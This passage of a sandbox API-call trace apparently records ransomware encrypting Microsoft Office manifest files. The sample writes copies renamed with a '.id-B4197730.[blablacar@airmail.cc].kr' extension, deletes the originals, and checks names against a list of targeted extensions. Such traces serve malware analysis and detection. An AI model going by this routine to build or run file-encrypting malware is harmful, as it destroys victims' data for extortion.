(lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.472] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.473] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0098.473] GetLastError () returned 0x0 [0098.473] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0098.475] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4c00, lpOverlapped=0x0) returned 1 [0098.476] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0098.476] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0098.476] SetEndOfFile (hFile=0x368) returned 1 [0098.476] CloseHandle (hObject=0x368) returned 1 [0098.478] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.478] SetEndOfFile (hFile=0x328) returned 1 [0098.479] CloseHandle (hObject=0x328) returned 1 [0098.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0098.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.479] lstrlenW (lpString=".doc") returned 4 [0098.479] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.479] lstrlenW (lpString=".docx") returned 5 [0098.479] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.479] lstrlenW (lpString=".pdf") returned 4 [0098.479] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.479] lstrlenW (lpString=".xls") returned 4 [0098.480] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString=".xlsx") returned 5 [0098.480] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.480] lstrlenW (lpString=".ppt") returned 4 [0098.480] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString=".zip") returned 4 [0098.480] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.480] lstrlenW (lpString=".rar") returned 4 [0098.480] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString=".bz2") returned 4 [0098.480] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString=".7z") returned 3 [0098.480] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString=".dbf") returned 4 [0098.480] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString=".1cd") returned 4 [0098.480] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString=".jpg") returned 4 [0098.480] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.480] lstrlenW (lpString=".doc") returned 4 [0098.480] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.480] lstrlenW (lpString=".docx") returned 5 [0098.480] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.481] lstrlenW (lpString=".pdf") returned 4 [0098.481] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString=".xls") returned 4 [0098.481] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString=".xlsx") returned 5 [0098.481] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.481] lstrlenW (lpString=".ppt") returned 4 [0098.481] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.481] lstrlenW (lpString=".zip") returned 4 [0098.481] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.481] lstrlenW (lpString=".rar") returned 4 [0098.481] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString=".bz2") returned 4 [0098.481] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString=".7z") returned 3 [0098.481] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.481] lstrlenW (lpString=".dbf") returned 4 [0098.481] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.481] lstrlenW (lpString=".1cd") returned 4 [0098.481] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0098.481] lstrlenW (lpString=".jpg") returned 4 [0098.481] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.482] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0098.482] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0098.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.482] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=763363) returned 1 [0098.482] CloseHandle (hObject=0x328) returned 1 [0098.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0098.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.483] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.483] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0098.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0098.483] GetLastError () returned 0x0 [0098.483] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0098.976] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0098.991] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0098.991] WriteFile (in: hFile=0x368, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0098.991] SetEndOfFile (hFile=0x368) returned 1 [0098.991] CloseHandle (hObject=0x368) returned 1 [0099.007] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0099.007] SetEndOfFile (hFile=0x328) returned 1 [0101.259] CloseHandle (hObject=0x328) returned 1 [0101.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0101.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.312] lstrlenW (lpString=".doc") returned 4 [0101.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString=".docx") returned 5 [0101.312] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.312] lstrlenW (lpString=".pdf") returned 4 [0101.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString=".xls") returned 4 [0101.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString=".xlsx") returned 5 [0101.312] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.312] lstrlenW (lpString=".ppt") returned 4 [0101.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.312] lstrlenW (lpString=".zip") returned 4 [0101.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.312] lstrlenW (lpString=".rar") returned 4 [0101.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString=".bz2") returned 4 [0101.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.312] lstrlenW (lpString=".7z") returned 3 [0101.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.312] lstrlenW (lpString=".dbf") returned 4 [0101.313] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.313] lstrlenW (lpString=".1cd") returned 4 [0101.313] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.313] lstrlenW (lpString=".jpg") returned 4 [0101.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.313] lstrlenW (lpString=".doc") returned 4 [0101.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString=".docx") returned 5 [0101.313] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.313] lstrlenW (lpString=".pdf") returned 4 [0101.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString=".xls") returned 4 [0101.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString=".xlsx") returned 5 [0101.313] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.313] lstrlenW (lpString=".ppt") returned 4 [0101.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.313] lstrlenW (lpString=".zip") returned 4 [0101.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.314] lstrlenW (lpString=".rar") returned 4 [0101.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.314] lstrlenW (lpString=".bz2") returned 4 [0101.314] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.314] lstrlenW (lpString=".7z") returned 3 [0101.314] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.314] lstrlenW (lpString=".dbf") returned 4 [0101.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.314] lstrlenW (lpString=".1cd") returned 4 [0101.314] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0101.314] lstrlenW (lpString=".jpg") returned 4 [0101.314] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.314] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.314] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0101.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.315] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=357349) returned 1 [0101.315] CloseHandle (hObject=0x328) returned 1 [0101.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0101.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.315] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0101.315] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0101.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.316] GetLastError () returned 0x0 [0101.316] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x573e5, lpOverlapped=0x0) returned 1 [0101.327] WriteFile (in: hFile=0x358, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x573f0, lpOverlapped=0x0) returned 1 [0101.335] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0101.335] WriteFile (in: hFile=0x358, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.335] SetEndOfFile (hFile=0x358) returned 1 [0101.336] CloseHandle (hObject=0x358) returned 1 [0101.347] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0101.347] SetEndOfFile (hFile=0x328) returned 1 [0101.351] CloseHandle (hObject=0x328) returned 1 [0101.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0101.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.353] lstrlenW (lpString=".doc") returned 4 [0101.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString=".docx") returned 5 [0101.353] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.353] lstrlenW (lpString=".pdf") returned 4 [0101.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString=".xls") returned 4 [0101.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString=".xlsx") returned 5 [0101.353] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.353] lstrlenW (lpString=".ppt") returned 4 [0101.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.353] lstrlenW (lpString=".zip") returned 4 [0101.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.353] lstrlenW (lpString=".rar") returned 4 [0101.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString=".bz2") returned 4 [0101.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString=".7z") returned 3 [0101.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.353] lstrlenW (lpString=".dbf") returned 4 [0101.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.354] lstrlenW (lpString=".1cd") returned 4 [0101.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.354] lstrlenW (lpString=".jpg") returned 4 [0101.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.354] lstrlenW (lpString=".doc") returned 4 [0101.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString=".docx") returned 5 [0101.354] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.354] lstrlenW (lpString=".pdf") returned 4 [0101.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString=".xls") returned 4 [0101.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString=".xlsx") returned 5 [0101.354] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.354] lstrlenW (lpString=".ppt") returned 4 [0101.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.354] lstrlenW (lpString=".zip") returned 4 [0101.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.354] lstrlenW (lpString=".rar") returned 4 [0101.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.355] lstrlenW (lpString=".bz2") returned 4 [0101.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.355] lstrlenW (lpString=".7z") returned 3 [0101.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.355] lstrlenW (lpString=".dbf") returned 4 [0101.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.355] lstrlenW (lpString=".1cd") returned 4 [0101.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0101.355] lstrlenW (lpString=".jpg") returned 4 